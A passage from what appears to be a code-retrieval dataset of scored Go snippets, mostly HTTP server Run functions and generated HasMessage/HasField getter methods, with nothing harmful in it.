&http.Server{\n\t\tAddr: s.config.Addr,\n\t\tHandler: n,\n\t}\n\n\tif err := gracehttp.Serve(srv); err != nil {\n\t\treturn errors.Wrap(err, \"error starting server\")\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "e7b5e4e916b630247182b036ae536346", "score": "0.6951197", "text": "func Run(cfg *config.Info) (*http.Server, error) {\n\tdataStore, err := cbdatastore.NewCBDataStore(\n\t\tcfg.DbServer,\n\t\tcfg.DbPort,\n\t\tcfg.DbName,\n\t\tcfg.DbUsername,\n\t\tcfg.DbPassword,\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcont := controller.NewStandardController(dataStore, cfg.AuthKey)\n\n\thandler := NewHandler(cont)\n\n\tr := routes(handler, cfg.AuthKey)\n\n\taddress := fmt.Sprintf(\"%v:%v\", cfg.Hostname, cfg.HTTPPort)\n\n\tsrv := &http.Server{Addr: address, Handler: r}\n\tgo func() {\n\t\tif err := srv.ListenAndServe(); err != nil {\n\t\t\tlog.Printf(\"Error running server: %s\", err)\n\t\t\treturn\n\t\t}\n\t}()\n\n\treturn srv, nil\n}", "title": "" }, { "docid": "617cf02c71ad7439a36901a80e1833a9", "score": "0.694573", "text": "func (s *Server) Run() error {\n\ts.Log.Debug(\"Running DDP server\", \"listen\", s.listen)\n\ts.server = &websocket.Server{Handler: s.handler, Handshake: nil}\n\thttp.Handle(s.url, s.server)\n\terr := http.ListenAndServe(s.listen, nil)\n\treturn err\n}", "title": "" }, { "docid": "aeb6883aa76354b03dfa78ac51203383", "score": "0.6934116", "text": "func (httpServer *HTTPServer) Run() error {\n\theadersOk := handlers.AllowedHeaders([]string{\"X-Requested-With\"})\n\toriginsOk := handlers.AllowedOrigins([]string{\"*\"})\n\tmethodsOk := handlers.AllowedMethods([]string{\"GET\", \"HEAD\", \"POST\", \"PUT\", \"OPTIONS\"})\n\n\tlog.Println(\"===== ToTFS Running =====\")\n\terr := http.ListenAndServe(httpServer.listeningAdress, handlers.CORS(headersOk, originsOk, methodsOk)(httpServer.router))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "ecb945ec3bdaaab54eb0d1dfb4545d06", "score": "0.69292706", "text": "func (a *App) Run() {\n\tlog.Fatal(http.ListenAndServe(a.Config.APP.Hostname, a.Router))\n}", "title": "" }, { "docid": "9a18e7946d21d070bc4cd56197ee4467", "score": "0.69269204", "text": "func (engine *Engine) Run(addr ...string) (err error) {\n\taddress := \":8080\"\n\tlog.Printf(\"Listening and serving HTTP on %s\\n\", address)\n\terr = http.ListenAndServe(address, engine)\n\treturn\n}", "title": "" }, { "docid": "b33bbe2b14c4dc2b1b697231f156027d", "score": "0.6925034", "text": "func Run() {\n\t// Context\n\tctx, cancel := context.WithCancel(context.Background())\n\tgo checkSigTerm(cancel)\n\n\t// Logger\n\tlogger := makeLogger()\n\n\t// Config\n\tcfg, err := c.Load(logger)\n\tcheckError(err)\n\n\t// Service\n\tsvc, err := makeService(ctx, cfg, logger).Init()\n\tcheckError(err)\n\n\t// Handlers\n\thttp.Handle(\"/signin\", SignInHandler(svc))\n\thttp.Handle(\"/signout\", SignOutHandler(svc))\n\thttp.Handle(\"/send\", SendHandler(svc))\n\n\terr = http.ListenAndServe(cfg.App.ServerPortFmt(), nil)\n\n\tlogger.Log(\"level\", c.LogLevel.Error, \"msg\", err.Error())\n}", "title": "" }, { "docid": "5f6f6a3ecf62611e1f28da79e36b2500", "score": "0.69225204", "text": "func (n *node) Run() {\n\tlog.Infof(\"node %v start running\", n.id)\n\tif len(n.handles) > 0 {\n\t\tgo n.handle()\n\t\tgo n.recv()\n\t}\n\tn.http()\n}", "title": "" }, { "docid": "99bdf956e675fba1e79c3db91295ce80", "score": "0.6917819", "text": "func (s *serverImpl) Run(config *Config, dbManager services.DBManager, logger Logger) {\n\trouter := s.initRouter(dbManager)\n\tneg := s.initNegroni(router)\n\n\tserver := &http.Server{Addr: \":\" + config.Port, Handler: neg}\n\n\t// grab the listener so that we have control over it - allows us to manually close the\n\t// listener when we're ready to shut down the http server\n\tlistener, err := net.Listen(\"tcp\", server.Addr)\n\tif err != nil {\n\t\tlogger.Warnf(\"%v\", err)\n\t\ts.signalChan <- syscall.SIGINT\n\t\treturn\n\t}\n\n\t// a goroutine that will listen for a signal to stop the server\n\tgo func() {\n\t\t<-s.stopChan\n\t\tserver.SetKeepAlivesEnabled(false)\n\t\tlistener.Close()\n\t}()\n\n\tlogger.Info(\"Running on port \" + config.Port)\n\tif err = server.Serve(listener); err != nil {\n\t\tif !s.shutdown {\n\t\t\tlogger.Warnf(\"%v\", err)\n\t\t\ts.signalChan <- syscall.SIGINT\n\t\t}\n\t}\n}", "title": "" }, { "docid": "6134254851f020f545abc3c3a97226d7", "score": "0.69122696", "text": "func Run() {\n\tlog.SetFlags(log.LstdFlags | log.Lshortfile)\n\n\tremoteData := []string{\n\t\t\"https://storage.googleapis.com/scratchpay-code-challenge/dental-clinics.json\",\n\t\t\"https://storage.googleapis.com/scratchpay-code-challenge/vet-clinics.json\",\n\t}\n\tdatabase, err := setup(remoteData...)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\tconfig.Database = database\n\n\tlisten(8080)\n}", "title": "" }, { "docid": "dbeedcf98c75fa28c92287462968410f", "score": "0.69042253", "text": "func (api API) Run() {\n\tapi.middlewares()\n\tapi.routes()\n\n\tapi.printBanner()\n\tlog.Fatal(api.Start(\":8080\"))\n}", "title": "" }, { "docid": "6286b92405c6757b875938242c15bdba", "score": "0.6900103", "text": "func (s *Server) Run(_ context.Context) error {\n\tlis, err := net.Listen(\"tcp\", s.Server.Addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.addrC <- lis.Addr().(*net.TCPAddr)\n\tlog.Printf(\"serving readiness checks server over http on http://%s%s\", s.Addr(), s.Path)\n\treturn s.Server.Serve(lis)\n}", "title": "" }, { "docid": "7d34dfb01b47eb1325d89f7411c676cc", "score": "0.6884038", "text": "func Run() {\n\tconfig.Load()\n\n\t// auto.Load()\n\n\tlisten(config.PORT)\n}", "title": "" }, { "docid": "abc6ca155c62d38a2863af4f967495ed", "score": "0.6883181", "text": "func (h *Handler) Run() error {\n\tlevel.Info(h.logger).Log(\"msg\", \"Start listening for connections\", \"address\", h.options.ListenAddress)\n\n\tvar err error\n\th.listener, err = net.Listen(\"tcp\", h.options.ListenAddress)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Monitor incoming connections with conntrack.\n\th.listener = conntrack.NewListener(h.listener,\n\t\tconntrack.TrackWithName(\"http\"),\n\t\tconntrack.TrackWithTracing())\n\n\terrlog := stdlog.New(log.NewStdlibAdapter(level.Error(h.logger)), \"\", 0)\n\n\thttpSrv := &http.Server{\n\t\tHandler: h.router,\n\t\tErrorLog: errlog,\n\t\tTLSConfig: h.options.TLSConfig,\n\t}\n\n\tif h.options.TLSConfig != nil {\n\t\tlevel.Info(h.logger).Log(\"msg\", \"Serving HTTPS\", \"address\", h.options.ListenAddress)\n\t\t// Cert & Key are already being passed in via TLSConfig.\n\t\treturn httpSrv.ServeTLS(h.listener, \"\", \"\")\n\t}\n\n\tlevel.Info(h.logger).Log(\"msg\", \"Serving plain HTTP\", \"address\", h.options.ListenAddress)\n\treturn httpSrv.Serve(h.listener)\n}", "title": "" }, { "docid": "769367e4f899a82ab3566ed669a6e285", "score": "0.6883025", "text": "func (h *HealthChecker) Run(stopChan <-chan struct{}) {\n\taddr := \"0.0.0.0:8000\"\n\thttp.HandleFunc(\"/healthz/\", h.healthz)\n\n\tgo func() {\n\t\tglog.Infof(\"Listening on http://%s\\n\", addr)\n\n\t\tif err := http.ListenAndServe(addr, nil); err != nil {\n\t\t\tglog.Fatal(err)\n\t\t}\n\t}()\n\n\t<-stopChan\n\tglog.Info(\"Health Check got exit signal, ready to exit!\")\n}", "title": "" }, { "docid": "19bc72bbfe54780690b91b63ba3d095a", "score": "0.68795407", "text": "func (ws *WebServer) Run(port int) {\n\t// Parse endpoints and register them to the router\n\tif len(ws.endpoints) == 0 {\n\t\tlog.Warn(\"WebServer\", \"No endpoints found for server, i'll be useless\")\n\t}\n\n\tfor _, endp := range ws.endpoints {\n\t\tlog.Info(\"WebServer\", \"Registered Endpoint: \"+endp.URL)\n\t\tws.router.HandleFunc(\n\t\t\tendp.URL, endp.Function,\n\t\t)\n\t}\n\n\t// TODO Make this dynamic, the static path and middlware\n\t// Add static file handler\n\tws.router.PathPrefix(\"/static/\").Handler(\n\t\thttp.StripPrefix(\"/static/\", http.FileServer(http.Dir(\"./static/\"))))\n\n\tws.router.Use(middleware.LogHTTP)\n\n\t// Run server\n\tlog.Info(\"WebServer\", \"Running Webserver at port \"+strconv.Itoa(port))\n\terr := http.ListenAndServe(\":\"+strconv.Itoa(port), ws.router)\n\tlog.Fatal(\"WebServer\", err.Error())\n}", "title": "" }, { "docid": "6ccfab7ee10f609655678b1a7d468330", "score": "0.6878974", "text": "func (a *EventbridgeApp) Run(addr string) {\n\n\tlog.Println(\"Listing at: \" + addr)\n\n\t// Wrap router with W3C logging\n\tlf, _ := os.OpenFile(\"logs/access.log\", os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0600)\n\n\tloggedRouter := handlers.LoggingHandler(lf, a.Router)\n\tsrv := &http.Server{\n\t\tHandler: loggedRouter,\n\t\tAddr: addr,\n\t\tWriteTimeout: httpconf.writeTimeout * time.Second,\n\t\tReadTimeout: httpconf.readTimeout * time.Second,\n\t}\n\n\ta.Ready = true\n\tgo func() {\n\t\tif err := srv.ListenAndServe(); err != nil {\n\t\t\tlog.Println(err)\n\t\t}\n\t}()\n\n\ta.Live = true\n\n\t// Listen for SIGHUP\n\ta.httpInterruptChan = make(chan os.Signal, 1)\n\n\t<-a.httpInterruptChan\n\n\t// Create a deadline to wait for.\n\tctx, cancel := context.WithTimeout(context.Background(), httpconf.shutdownTimeout)\n\tdefer cancel()\n\n\t// Doesn't block if no connections, but will otherwise wait\n\t// until the timeout deadline.\n\terr := srv.Shutdown(ctx)\n\tif err == nil {\n\t\tlog.Println(\"Shutting Down...\")\n\t} else {\n\t\tlog.Println(\"Shutting Down...\", err)\n\t}\n\n\tos.Exit(0)\n}", "title": "" }, { "docid": "072dc2959adb8af7b36b376b60100b9f", "score": "0.6877443", "text": "func (a *App) Run() {\n\tif err := a.Server.Run(); err != nil {\n\t\tpanic(err)\n\t}\n}", "title": "" }, { "docid": "f35920cab9b96491fc438547bd70e6f4", "score": "0.68766713", "text": "func (m *Main) Run() error {\n\t// Open HTTP port.\n\tln, err := net.Listen(\"tcp\", m.Addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tm.ln = ln\n\n\t// Initialize handler logger.\n\tm.Handler.Logger = m.Logger.New(\"component\", \"http\")\n\n\t// Register service with discoverd.\n\thb, err := discoverd.AddServiceAndRegister(m.ServiceName+\"-api\", m.Addr)\n\tif err != nil {\n\t\treturn err\n\t}\n\tshutdown.BeforeExit(func() { hb.Close() })\n\n\th := httphelper.ContextInjector(m.ServiceName+\"-api\", httphelper.NewRequestLogger(m.Handler))\n\tgo func() { http.Serve(ln, h) }()\n\n\treturn nil\n}", "title": "" }, { "docid": "50d600d918b30b7b41e38c518b75c524", "score": "0.68708265", "text": "func (bs *BlogServer) Run() {\n\thostPort := fmt.Sprintf(\"%s:%s\", bs.config.GetString(\"httpd.host\"), bs.config.GetString(\"httpd.port\"))\n\tsrv := &http.Server{Addr: hostPort, Handler: bs.mux}\n\tbs.registerRoutes()\n\tbs.log.Infof(\"http server starting on the [%s] tcp port\", hostPort)\n\tgo func() {\n\t\tif err := srv.ListenAndServe(); err != http.ErrServerClosed {\n\t\t\tbs.log.Fatalf(\"http server error: %v\", err)\n\t\t}\n\t}()\n\tbs.srv = srv\n}", "title": "" }, { "docid": "1d53d6094735784b9b863538e05a33dc", "score": "0.6864459", "text": "func Run(httpHandler http.Handler, info Info){\n\tif info.UseHTTP {\n\t\tstartHttp(httpHandler, info);\n\t} else {\n\t\tlog.Println(\"Config file does not specify a listener to start\")\n\t}\n}", "title": "" }, { "docid": "afd9505155f463bdd22940be2e3e0ede", "score": "0.686221", "text": "func (a *App) Run() {\n\ta.srv = &http.Server{\n\t\tAddr: a.conf.Addr,\n\t\tHandler: a.engine,\n\t}\n\tlog.Println(\"starting server on addr: \", a.conf.Addr)\n\tif err := a.srv.ListenAndServe(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "title": "" }, { "docid": "4b0594255402956761daa2cf2e5bef76", "score": "0.68582153", "text": "func (m *Monitor) Run() error {\n\tlog := m.log.WithField(\"config\", m.cfg)\n\tlog.Info(\"Start monitor service...\")\n\tdefer log.Info(\"Monitor Service closed\")\n\n\tmux := m.setupMux()\n\n\tm.ln = &http.Server{\n\t\tAddr: m.cfg.Addr,\n\t\tHandler: mux,\n\t\tReadTimeout: serverReadTimeout,\n\t\tWriteTimeout: serverWriteTimeout,\n\t\tIdleTimeout: serverIdleTimeout,\n\t}\n\n\tif err := m.ln.ListenAndServe(); err != nil {\n\t\tselect {\n\t\tcase <-m.quit:\n\t\t\treturn nil\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5e29f0b76e82b50994a0e18ed896718c", "score": "0.6855194", "text": "func (engine *Engine) Run(addr string) (err error) {\n\treturn http.ListenAndServe(addr, engine)\n}", "title": "" }, { "docid": "d9a01be9bca9ec9bdff8cbcd254ddd23", "score": "0.6854949", "text": "func (h *DebugHandler) Run() {\n\th.httpServer = &http.Server{\n\t\tAddr: fmt.Sprintf(\":%v\", h.Port),\n\t}\n\n\thttp.HandleFunc(\"/meta\", func(w http.ResponseWriter, r *http.Request) {\n\t\tinfos := h.server.store.diskStore.GetAllStoredInfos()\n\t\tb, err := json.Marshal(infos)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\tw.WriteHeader(500)\n\t\t\treturn\n\t\t}\n\n\t\t_, err = w.Write(b)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\tw.WriteHeader(500)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(200)\n\t})\n\n\tlog.Println(\"debug_handler running on \", h.httpServer.Addr)\n\terr := h.httpServer.ListenAndServe()\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n}", "title": "" }, { "docid": "efa7ca6e196d35b85905b6de772f193b", "score": "0.68489987", "text": "func (s *Server) Run(ctx context.Context) {\n\tgo s.ListenAndServeDNS(ctx, \"udp\")\n\tgo s.ListenAndServeDNS(ctx, \"tcp\")\n\tgo s.ListenAndServeDNSTLS(ctx)\n\tgo s.ListenAndServeHTTPTLS(ctx)\n\tgo s.ListenAndServeH3(ctx)\n\tgo s.ListenAndServeQUIC(ctx)\n}", "title": "" }, { "docid": "94e547297d6d40d0639b3d10ca01f181", "score": "0.6844602", "text": "func (a *Fedbox) Run(m http.Handler, wait time.Duration) int {\n\ta.inf(\"Listening on %s\", a.listen())\n\n\t// Create a deadline to wait for.\n\tctx, cancel := context.WithTimeout(context.Background(), wait)\n\tdefer cancel()\n\n\t// Get start/stop functions for the http server\n\tsrvRun, srvStop := setupHttpServer(a.listen(), m, wait, ctx)\n\ta.stopFn = func() {\n\t\tsrvStop(a.inf)\n\t}\n\tgo srvRun(a.err)\n\n\t// Add signal handlers\n\tsigChan := make(chan os.Signal, 1)\n\texitChan := make(chan int)\n\tsignal.Notify(sigChan, syscall.SIGHUP, syscall.SIGINT, syscall.SIGTERM, syscall.SIGQUIT)\n\tgo waitForSignal(sigChan, exitChan)(a.inf)\n\tcode := <-exitChan\n\n\t// Doesn't block if no connections, but will otherwise wait until the timeout deadline.\n\tgo srvStop(a.err)\n\ta.inf(\"Shutting down\")\n\n\treturn code\n}", "title": "" }, { "docid": "f0a72c40e963b1bb3435d05b74d842de", "score": "0.68413645", "text": "func (a *APIServer) Run() {\n\tport := \"8080\"\n\tif p := os.Getenv(\"APP_PORT\"); p != \"\" {\n\t\tport = p\n\t}\n\ta.Router = mux.NewRouter()\n\ta.setRouters()\n\ta.setLangClient()\n\tlog.Fatal(http.ListenAndServe(\":\"+port, a.Router))\n}", "title": "" }, { "docid": "02928e9e39cf366fd5a735477e4329b9", "score": "0.68396086", "text": "func Run() {\n\trouter := httprouter.New()\n\n\tapi_list.Mount(router)\n\n\tserver := http.Server{\n\t\tAddr: \":8080\",\n\t\tHandler: router,\n\t}\n\n\tserver.ListenAndServe()\n}", "title": "" }, { "docid": "1671d38cb8f06a6fad96e152e8874e0a", "score": "0.6838153", "text": "func (s *Server) Run() error {\n\treturn s.router.Run()\n}", "title": "" }, { "docid": "384fda6e78d8c5f014ba1b22b2e8906a", "score": "0.68290704", "text": "func Run() {\n\n\t// loads default config and env config\n\tenvVariables := env.LoadAppEnv()\n\n\tsrv := server.New(context.Background(), envVariables)\n\tsrv.Start(envVariables.GetAPIPort())\n}", "title": "" }, { "docid": "58bab3f13716fd4d059a7383a2f42948", "score": "0.6826499", "text": "func (engine *Engine) Run(addr string, opts ...HTTPServerOption) (err error) {\n\tserver := NewHTTPServer(opts...)\n\tserver.Handler = engine\n\tserver.Addr = addr\n\n\tdebugPrintf(\"server run address: %s\", addr)\n\n\treturn server.ListenAndServe()\n}", "title": "" }, { "docid": "7eb158ef178232de82bb2f0a1e67c889", "score": "0.68217164", "text": "func Run() {\n\tgo listen()\n}", "title": "" }, { "docid": "834727115da12c4ae94e66c00dbed99f", "score": "0.6820001", "text": "func Run(conf *config.Config, baseDir string) error {\n\tlog.ConfigureLogger(conf.Logger)\n\tlog.WithFields(log.Fields{\"Config\": conf}).Info(\"Starting Server\")\n\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\tc := make(chan os.Signal, 1)\n\tsignal.Notify(c, os.Interrupt)\n\tgo func() {\n\t\t<-c\n\t\tcancel()\n\t}()\n\n\tsrv, err := server.NewGripServer(conf, baseDir, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor k, v := range endPoints {\n\t\tif err := srv.AddEndpoint(k, v); err != nil {\n\t\t\tlog.Errorf(\"Error loading pluging %s: %s\", k, err)\n\t\t}\n\t}\n\n\t// Start server\n\terrch := make(chan error)\n\tgo func() {\n\t\terrch <- srv.Serve(ctx)\n\t}()\n\n\t// Block until done.\n\t// Server must be stopped via the context.\n\treturn <-errch\n}", "title": "" }, { "docid": "bb6792a0dbde670b2a1c932a8d709da5", "score": "0.68155795", "text": "func (s *Server) Run(setupDoneCh chan struct{}) {\n\ts.setupDB()\n\n\ts.setupCaptcha()\n\n\thttp.HandleFunc(\"/cupido/submit\", s.newSubmitHandlerFunc())\n\t// http.HandleFunc(\"/cupido/verify\", s.newVerifyHandlerFunc())\n\thttp.HandleFunc(\"/cupido/health-check\", s.newHealthCheckHandlerFunc())\n\thttp.HandleFunc(\"/cupido/api/stats\", s.newAPIStatsHandlerFunc())\n\thttp.HandleFunc(\"/cupido/api/total\", s.newAPIPublicStatsHandlerFunc(s.options.TotalOffset, s.options.TotalFactor))\n\n\tif setupDoneCh != nil {\n\t\tclose(setupDoneCh)\n\t}\n\n\terr := http.ListenAndServe(s.options.HTTPAddress, nil)\n\tif err != nil {\n\t\tlog.Fatalf(\"error during ListenAndServe: %v\", err)\n\t}\n}", "title": "" } ]
0e5711d65b809b9ddce5cc054e260001
HasMessage returns a boolean if a field has been set.
[ { "docid": "6f0630df5292a44b5e715fa9889a7104", "score": "0.72986364", "text": "func (o *ErrorModel) HasMessage() bool {\n\tif o != nil && !IsNil(o.Message) {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" } ]
[ { "docid": "d0ae5505d8eb4bf6fc6c22c4880dd875", "score": "0.7714805", "text": "func (c *Check) HasMessage() bool {\n\tif c != nil && c.Message != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "0f4f0d35550dc78de0ce08ebed50bb67", "score": "0.76125735", "text": "func (d *Downtime) HasMessage() bool {\n\tif d != nil && d.Message != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "3dc9f5f4735f711d502eda3fd672510c", "score": "0.75913167", "text": "func (o *GvmResultado) HasMessage() bool {\n\tif o != nil && o.Message.IsSet() {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "abe484221cd219e313de25a378456927", "score": "0.7567999", "text": "func (m *Monitor) HasMessage() bool {\n\tif m != nil && m.Message != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "7f22f939d84e091a8f5f9c59aa4c032c", "score": "0.74737513", "text": "func (o *PullrequestMergeParameters) HasMessage() bool {\n\tif o != nil && o.Message != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "a24d1fdfd4bddb259cd55a11f8f4564e", "score": "0.7448615", "text": "func (o *WorkflowTaskInfo) HasMessage() bool {\n\tif o != nil && o.Message != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "97c33f724885123b0bc8e5e2abad220f", "score": "0.74334395", "text": "func (o *EventDescription) HasMessage() bool {\n\tif o != nil && o.Message != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "9366c5f06f1546320e706a8557c86097", "score": "0.73593575", "text": "func (o *InvoiceIndexResponseInvoices) HasMessage() bool {\n\tif o != nil && o.Message.IsSet() {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "9dbf90e6be0f811846be6635d015bc0f", "score": "0.7298832", "text": "func (o *IssueChange) HasMessage() bool {\n\tif o != nil && o.Message != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "5c33602e0aad93b714463e07755acf1c", "score": "0.72457534", "text": "func (o *ForbiddenErrorResponseError) HasMessage() bool {\n\tif o != nil && o.Message != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "12dc0f2e6ea2c0188e50fb8a0b9f484c", "score": "0.7155357", "text": "func (o *V1ImageCondition) HasMessage() bool {\n\tif o != nil && o.Message != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "befa87866d91fd053234acf1d39476c7", "score": "0.7113661", "text": "func (a *Alert) HasMessage() bool {\n\tif a != nil && a.Message != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "604d30cffdb10d3a522db71f3e7cadea", "score": "0.7090431", "text": "func (c *Comment) HasMessage() bool {\n\tif c != nil && c.Message != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "0d81ba79f2aba1fd17b766d901e10cd1", "score": "0.6973365", "text": "func (o *V1Error) HasMessage() bool {\n\tif o != nil && o.Message != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "0060b7761fcc9c60e8faa6316e171de7", "score": "0.6706397", "text": "func (m *Message) Has(name string) bool {\n\t_, ok := m.parts[name]\n\treturn ok\n}", "title": "" }, { "docid": "d6cfd847af8755cc0aab07877472aac1", "score": "0.6676546", "text": "func (o *ActionTriggersV0) HasMessageSelector() bool {\n\tif o != nil && o.MessageSelector != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "f42b6c0c013e204ec60d775cbbec92e5", "score": "0.6638972", "text": "func (o *ActionTriggers) HasDataMessage() bool {\n\tif o != nil && o.DataMessage != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "9d4ba817ce29f8a33b0372a6fae4a857", "score": "0.6615069", "text": "func (k Keeper) HasMessage(ctx sdk.Context, id string) bool {\n\tstore := prefix.NewStore(ctx.KVStore(k.storeKey), types.KeyPrefix(types.MessageKey))\n\treturn store.Has(types.KeyPrefix(types.MessageKey + id))\n}", "title": "" }, { "docid": "b8f0dda00a846b4b12a87be4d3371615", "score": "0.6603427", "text": "func (o *MessagesBase) HasIsMeMessage() bool {\n\tif o != nil && o.IsMeMessage != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "58754858b8798074bc712c3618c16fb2", "score": "0.65031785", "text": "func (o *WhatsAppSingleMessageInfo) HasMessageCount() bool {\n\tif o != nil && o.MessageCount != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "0430394b261eb5dadbc0625f9baee48f", "score": "0.64429164", "text": "func (vw *VirtualWire) HaveMessage() bool {\n\treturn vw.rx_done\n}", "title": "" }, { "docid": "5cf510fafa55022914d5726b41a7a155", "score": "0.6440624", "text": "func (o *ApiMessageEntry) HasMsg() bool {\n\tif o != nil && o.Msg != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "5d47cde8ee4ba18496b3f54756629391", "score": "0.6438817", "text": "func (v *InternalServerError) IsSetMessage() bool {\n\treturn v != nil && v.Message != nil\n}", "title": "" }, { "docid": "c9de64a4e14486ef3770cb98629258e9", "score": "0.64316994", "text": "func (r *ClientRequest) HasField(fieldname string) bool {\n\t_, exists := r.Data[fieldname]\n\treturn exists\n}", "title": "" }, { "docid": "3a91156978ca43b8d057876053e4c380", "score": "0.6421599", "text": "func (o *FifoTopic) HasMessages() bool {\n\tif o != nil && o.Messages != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "c57b9869f233a3cab921f33275112559", "score": "0.63918835", "text": "func (s *structDefinition) HasField(name string) bool {\n\t_, ok := s.Fields[name]\n\treturn ok\n}", "title": "" }, { "docid": "21c66e49670fa48bd064f5efb3eadb2c", "score": "0.6390532", "text": "func (v *RateLimitError) IsSetMessage() bool {\n\treturn v != nil && v.Message != nil\n}", "title": "" }, { "docid": "dfda19b410069890f8c3aa6a2ed816a9", "score": "0.6390339", "text": "func (o *HealthCheckResult) HasNullableMessage() bool {\n\tif o != nil && o.NullableMessage.IsSet() {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "0a0a64dabafd92855adc175d870f68bb", "score": "0.6340258", "text": "func (o *DhcpGroupDeleteSuccess) HasMessages() bool {\n\tif o != nil && o.Messages != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "8e0aad909c88b2e89f6a0be426168a4a", "score": "0.6337541", "text": "func (f EventFields) HasField(key string) bool {\n\treturn utils.Fields(f).HasField(key)\n}", "title": "" }, { "docid": "f3ac9ec3598679098a23b51b11525735", "score": "0.6278778", "text": "func (o *FifoTopic) HasMessageTtl() bool {\n\tif o != nil && o.MessageTtl != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "3f47862962232bba3218b56cfd1e5035", "score": "0.62742585", "text": "func (o *SmsReport) HasMessageId() bool {\n\tif o != nil && o.MessageId != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "813e0c0298fe4b87660ffa8e5669473a", "score": "0.6268836", "text": "func (v *BadRequestError) IsSetMessage() bool {\n\treturn v != nil && v.Message != nil\n}", "title": "" }, { "docid": "229de17eb8b1c82589518c0ac97e7def", "score": "0.6205423", "text": "func (o *SignalWarning) HasWarningMessage() bool {\n\tif o != nil && o.WarningMessage != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "659a0ceb4ad75c740f0d1a4a16f15a58", "score": "0.61667734", "text": "func (o *SyntheticsParsingOptions) HasField() bool {\n\tif o != nil && o.Field != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "520211b74bea5f0a9cce0f47444f3fc5", "score": "0.6162441", "text": "func has(thread *starlark.Thread, fn *starlark.Builtin, args starlark.Tuple, kwargs []starlark.Tuple) (starlark.Value, error) {\n\tvar x, field starlark.Value\n\tif err := starlark.UnpackPositionalArgs(fn.Name(), args, kwargs, 2, &x, &field); err != nil {\n\t\treturn nil, err\n\t}\n\tmsg, ok := x.(*Message)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"%s: got %s, want proto.Message\", fn.Name(), x.Type())\n\t}\n\n\tvar fdesc protoreflect.FieldDescriptor\n\tswitch field := field.(type) {\n\tcase starlark.String:\n\t\tvar err error\n\t\tfdesc, err = fieldDesc(msg.desc(), string(field))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\tcase FieldDescriptor:\n\t\tif field.Desc.ContainingMessage() != msg.desc() {\n\t\t\treturn nil, fmt.Errorf(\"%s: %v does not have field %v\", fn.Name(), msg.desc().FullName(), field)\n\t\t}\n\t\tfdesc = field.Desc\n\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"%s: for field argument, got %s, want string or proto.FieldDescriptor\", fn.Name(), field.Type())\n\t}\n\n\treturn starlark.Bool(msg.msg.Has(fdesc)), nil\n}", "title": "" }, { "docid": "e4e03c738095f8c5242571373ff8b84e", "score": "0.6152295", "text": "func (o *FifoTopic) HasMessageUnacknowledged() bool {\n\tif o != nil && o.MessageUnacknowledged != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "449744bfc5c50603247895fe0d8cbd0d", "score": "0.6112643", "text": "func (o *WhatsAppSingleMessageInfo) HasMessageId() bool {\n\tif o != nil && o.MessageId != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "83652f01d16db7a6abb5585cde2445fe", "score": "0.60719794", "text": "func HasField(t Any, name string) (bool, error) {\n\tif _, err := Field(t, name); err != nil {\n\t\treturn false, err\n\t}\n\treturn true, nil\n}", "title": "" }, { "docid": "5fc559e0a928c192a77f79aabc2e3599", "score": "0.60569125", "text": "func (x *fastReflection_MsgUpdateGroupMembers) Has(fd 